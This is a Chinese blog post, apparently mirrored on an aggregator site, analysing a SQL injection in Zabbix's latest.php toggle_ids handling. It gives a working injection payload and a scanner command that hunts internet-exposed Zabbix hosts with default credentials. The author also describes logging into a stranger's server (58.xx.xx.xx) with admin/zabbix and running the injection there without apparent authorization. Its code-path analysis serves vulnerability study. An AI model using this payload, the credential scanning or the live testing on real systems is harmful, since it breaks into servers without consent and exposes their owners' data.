1. 程式人生 > >Zabbix latest.php Insert注入分析與實踐

Zabbix latest.php Insert注入分析與實踐

概要

因為未能過濾掉latest.php頁面中toggle_ids陣列的輸入,導致Zabbix 2.2.x,3.0.x 遠端SQL注入

原始碼分析

下載了兩份官方程式碼對比,左為3.0.4(已修復的版本),右為3.0.3

\zabbix-3.0.3rc1\frontends\php\jsrpc.php

compare1

compare2

可見新版本中刪除的程式碼即為漏洞觸發部分。


/*
 * Ajax
 */
if (hasRequest('favobj')) {
    if ($_REQUEST['favobj'] == 'toggle') {
        // $_REQUEST['toggle_ids'] can be single id or list of ids,
// where id xxxx is application id and id 0_xxxx is 0_ + host id if (!is_array($_REQUEST['toggle_ids'])) { if ($_REQUEST['toggle_ids'][1] == '_') { $hostId = substr($_REQUEST['toggle_ids'], 2); CProfile::update('web.latest.toggle_other', $_REQUEST
['toggle_open_state'], PROFILE_TYPE_INT, $hostId); } else { $applicationId = $_REQUEST['toggle_ids']; CProfile::update('web.latest.toggle', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $applicationId); } } else { foreach
($_REQUEST['toggle_ids'] as $toggleId) { if ($toggleId[1] == '_') { $hostId = substr($toggleId, 2); CProfile::update('web.latest.toggle_other', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $hostId); } else { $applicationId = $toggleId; CProfile::update('web.latest.toggle', $_REQUEST['toggle_open_state'], PROFILE_TYPE_INT, $applicationId); } } } } }

$_REQUEST獲取的資料未經過濾,直接帶入CProfile::update() 暫存更新的資料。

zabbix-3.0.3rc1/frontends/php/include/classes/user/CProfile.php

    public static function update($idx, $value, $type, $idx2 = 0) {
        if (is_null(self::$profiles)) {
            self::init();
        }

        if (!self::checkValueType($value, $type)) {
            return;
        }

        $profile = [
            'idx' => $idx,
            'value' => $value,
            'type' => $type,
            'idx2' => $idx2
        ];

        $current = self::get($idx, null, $idx2);
        if (is_null($current)) {
            if (!isset(self::$insert[$idx])) {
                self::$insert[$idx] = [];
            }
            self::$insert[$idx][$idx2] = $profile;
        }
        else {
            if ($current != $value) {
                if (!isset(self::$update[$idx])) {
                    self::$update[$idx] = [];
                }
                self::$update[$idx][$idx2] = $profile;
            }
        }

        if (!isset(self::$profiles[$idx])) {
            self::$profiles[$idx] = [];
        }

        self::$profiles[$idx][$idx2] = $value;
    }

latest.php末尾包含page_footer.php(line 829)

require_once dirname(__FILE__).'/include/page_footer.php';

跟入page_footer.php(line 38)

if (CProfile::isModified()) {
    DBstart();
    $result = CProfile::flush();
    DBend($result);
}

繼續跟入CProfile::flush()

    public static function flush() {
        $result = false;

        if (self::$profiles !== null && self::$userDetails['userid'] > 0 && self::isModified()) {
            $result = true;

            foreach (self::$insert as $idx => $profile) {
                foreach ($profile as $idx2 => $data) {
                    $result &= self::insertDB($idx, $data['value'], $data['type'], $idx2);
                }
            }

            ...
        }

        return $result;
    }

繼續跟入self::insertDB()

private static function insertDB($idx, $value, $type, $idx2) {
        $value_type = self::getFieldByType($type);

        $values = [
            'profileid' => get_dbid('profiles', 'profileid'),
            'userid' => self::$userDetails['userid'],
            'idx' => zbx_dbstr($idx),
            $value_type => zbx_dbstr($value),
            'type' => $type,
            'idx2' => $idx2
        ];

        return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');
    }

跟入DBexecute()
php/include/db.inc.php (line 499)

function DBexecute($query, $skip_error_messages = 0) {
    global $DB;

    if (!isset($DB['DB']) || empty($DB['DB'])) {
        return false;
    }

    $result = false;
    $time_start = microtime(true);

    $DB['EXECUTE_COUNT']++;

    switch ($DB['TYPE']) {
        case ZBX_DB_MYSQL:
            if (!$result = mysqli_query($DB['DB'], $query)) {
                error('Error in query ['.$query.'] ['.mysqli_error($DB['DB']).']');
            }
            break;

    ... ...

    }
    if ($DB['TRANSACTIONS'] != 0 && !$result) {
        $DB['TRANSACTION_NO_FAILED_SQLS'] = false;
    }

    CProfiler::getInstance()->profileSql(microtime(true) - $time_start, $query);
    return (bool) $result;
}

最終在mysqli_query()執行。

實踐

參考漏洞作者給出的Payload

latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1

直接訪問latest.php 會返回一個You must login to view this page. 漏洞作者也指出登入後才可以(包括guest賬號)。

懶得搭環境了,zabbix預設口令為admin/zabbix,正好之前寫過這個PoC,先用它跑出幾臺機器試試。

python POC-T.py -m zabbix-weakpass -T --api --dork "zabbix country:cn" -t 30

結果還不少:

result

拿其中一個站,登入之後訪問:

http://58.xx.xx.xx:82//latest.php?output=ajax&sid=17892f8c4912dfcd&favobj=toggle&toggle_open_state=1&toggle_ids[]=1%^&*%22%27()-*#

這裡又報無許可權,看了下原始碼,將sid引數值設定為登入後sessionid的後16位。

這裡寫圖片描述

再次提交,回顯看到MySQL的報錯,證明漏洞存在。

這裡寫圖片描述

自動化驗證Tips

做自動化PoC的一個問題:不清楚用的什麼資料庫,難以獲得可信度大的回顯(如 md5(0x11)

原始碼中顯示支援這些
* oracle
* mysql
* db2
* postgresql
* sqlite3

原始碼對於不同資料庫報錯格式有兩種,可用於PoC驗證的特徵欄位:

  • error('Error in query ['.$query.'] ['.mysqli_error($DB['DB']).']');
  • error('SQL error ['.$query.'] in ['.$e.']');

目前可以用作檢驗標準的特徵欄位是:

  • table class="msgerr"
  • li class="error"
  • Error in query [ or SQL error [

可以多實踐一些版本增加PoC的容錯性。

相關推薦

Zabbix latest.php Insert注入分析實踐

概要 因為未能過濾掉latest.php頁面中toggle_ids陣列的輸入,導致Zabbix 2.2.x,3.0.x 遠端SQL注入 原始碼分析 下載了兩份官方程式碼對比,左為3.0.4(已修復的版本),右為3.0.3 \zabbix-3.0.3r

手動SQL注入原理分析實踐

程式碼倉庫 本文所用程式碼的程式碼庫地址: 點選這裡前往Github倉庫 瞭解SQL注入 定義 SQL注入攻擊(SQL Injection),簡稱注入攻擊,是Web開發中最常見的一種安全漏洞。可以用它來從資料庫獲取敏感資訊,或者利用資料庫的特性執行新增使用者,匯出檔案等一系列惡意操作,甚至有可能獲取資料庫乃

決策樹(二)分析實踐

目錄 1 分析 1.1 背景: 1.2 定義 1.3 原理: CART如何選擇分裂的屬性? 如何進行樹的剪枝來防止過擬合 對於含有空值的資料,此時應該怎麼構建樹。 2.實踐:(《機器學習實戰》第九章程式碼解析) CART演算法的實現(運用到預剪枝) 後剪枝演算

mysql 加鎖分析實踐

一序      本文分為兩個部分,第一部分主要基於何登成大神的文章。何博士作為阿里資料庫核心團隊大神。文章更是深入淺出。膜拜一下:原文地址如下  http://hedengcheng.com/?p=771    第二部分介紹常見的實踐注意事項。 二 背景   MVCC

決策樹分析實踐

1.分析 1.1 背景和意義:        相信很多人都玩過一個網路上傳的遊戲,腦海裡面想一個名人的名字,然後出若干多道問題,比如男的女的,國外的國內的,你只能答是或不是,最後給出你想的那個名人是誰。只要不是很偏的應該都能想出來,一般人覺得很震驚,其實這只是一種簡單機器

決策樹(二)之CART的分析實踐

1 分析 1.1 背景:        線性迴歸的模型一般都要擬合所有的樣本點,但當資料擁有眾多特徵,並且特徵之間的關係十分的複雜,這時候往往是非線性的問題,很難構建全域性模型。        方法:將資料集切分成很多份易建模的的資料,再線性迴歸(就像微分一樣的思想),一

2018國內DevOps趨勢分析實踐分享

2017年年末,《中國第一份 DevOps年度調查報告》釋出,這對國內一直摸著石頭過河的DevOps先行者和DevOps在中國的發展都有著里程碑式的意義。它使國內的DevOps先行實踐者們既能夠對自身的 DevOps 實踐有明確定位,又為躊躇不前的觀望者們指明瞭軟體開發的發展

看透SpringMVC原始碼分析實踐(一)

一、網站架構及其演變過程   1.軟體的三大型別          軟體分為三個型別:單機軟體、BS結構的軟體(瀏覽器-服務端)、CS結構的軟體(客戶端-服務端)。 2.BS的基礎結構     &nb

看透SpringMVC原始碼分析實踐(二)

一、Tomcat的頂層結構及啟動過程 1.Tomcat的頂層結構        Tomcat中最頂層的容器叫Server,代表整個伺服器,Server至少包含一個Service用於具體的服務。Service主要包含兩部分,Connector和Conta

分散式鏈路監控追蹤分析實踐(一)

背景 隨著網際網路架構的擴張,分散式系統變得日趨複雜,越來越多的元件開始走向分散式化,如微服務、訊息收發、分散式資料庫、分散式快取、分散式物件儲存、跨域呼叫,這些元件共同構成了繁雜的分散式網路,那現在的問題是一個請求經過了這些服務後其中出現了一個呼叫失敗的問題,只知道有異常

C++(14)STL分析實踐之容器介面卡

STL實踐與分析 --容器介面卡 引: 除了順序容器,標準庫還提供了三種順序容器介面卡:queue,priority_queue和stack,介面卡是標準庫中的概念,包

Nginx原始碼分析實踐---程序間通訊機制(訊號)

在前面我們分析了nginx程序間通訊機制的共享記憶體和套接字。這次我們分析剩下一種程序間通訊機制---訊號。 首先要區分訊號和訊號量:訊號是用於程序間通訊的機制,而訊號量是用於保證共享資源不被併發訪問的機制,如可使用訊號量作為互斥鎖實現多程序下對共享資源的同步。 1.nginx中什

Nginx原始碼分析實踐---程序間通訊機制(套接字)

在上一篇中,我們看到了nginx共享記憶體方式的程序間通訊。這次我們看下nginx使用套接字的程序間通訊方式。 同樣的幾個問題: 1.什麼時候需要使用套接字方式的程序間通訊機制呢? 舉個栗子:我們知道nginx有master程序和worker程序,那麼master程序是如何向w

Nginx原始碼分析實踐---程序間通訊機制(共享記憶體)

Nginx有一個master程序和多個worker程序,那麼master程序與worker程序間或worker程序之間是如何通訊的呢,又什麼時候需要程序間通訊呢? 我們知道linux下的程序間通訊方式主要有:管道、FIFO、套接字、訊息佇列、共享記憶體、訊號。那麼nginx的程序間通訊方式採

Nginx原始碼分析實踐---ngx_command_t

從上一節瞭解到配置項的相關屬性是由ngx_command_t這個結構體設定的,下面就來看其原始碼,分析一下。 .../src/core/ngx_core.h : typedef struct ngx_command_s ngx_command_t;由上可知,以s結尾的和以t

Nginx原始碼分析實踐---(一)編寫一個簡單的Http模組

在上一節中,我們通過修改配置檔案,便能讓nginx去訪問我們寫的html檔案,並返回給瀏覽器。問題是:nginx是如何檢測到我們寫的配置項的?檢測到後,nginx又是如何知道該進行什麼操作的? 本節通過親自實踐,寫一個經典的Hello World模組來了解相應的流程是如何進行的。我們採用自上

Java Comparable介面分析實踐

此介面對實現它的每個類的物件進行整體排序。這種排序被稱為類的自然排序,類的compareTo方法被稱為它的自然比較方法。 實現此介面的物件列表(和陣列)可以通過Collections.sort或者Arrays.sort進行自動排序,這個兩個排序實現使用的時快速排序。實現此介

Django Rest Framework之Tutorial 4分析實踐

前言 在DRF所有的練習中,Tutorial 4算是比較難以理解的一部分,因此對這一節做一分析。在開始閱讀之前,強烈建議你完成Tutorial 1-3的所有內容,我們以下所有的內容都會用到前面三個練習的程式碼。 知識準備 主鍵:若某一個屬性組(注意是組)

安卓基礎工具分析實踐

接下來一段時間,我決定把安卓的常用基礎工具做一個總結。以便給讀者一些啟示,算是拋磚引玉,或者是對自己研究心得的記錄吧。(格式寫的亂,讀者自行腦補分段吧。。。)   1. 一個問題:安卓native層開發為什麼可以用較少行程式碼實現一些複雜的業務邏輯操作? 對於這個問題,有些人可能覺得並不是,像And

PHP 控制反轉依賴注入詳細分析程式碼實現

PHP有很多的設計模式,比如單例模式,訂閱模式,策略模式,工廠模式,觀察者模式,這些設計模式其實無非都是為了讓程式簡化,容易維護,模組間解耦。現在我們來講講PHP的另外一種設計模式,控制反轉/依賴注入,這兩者其實是同一個概念,只是凶不同的角度去解釋的而已。 依賴注入:是從需要實現的業務邏輯上面去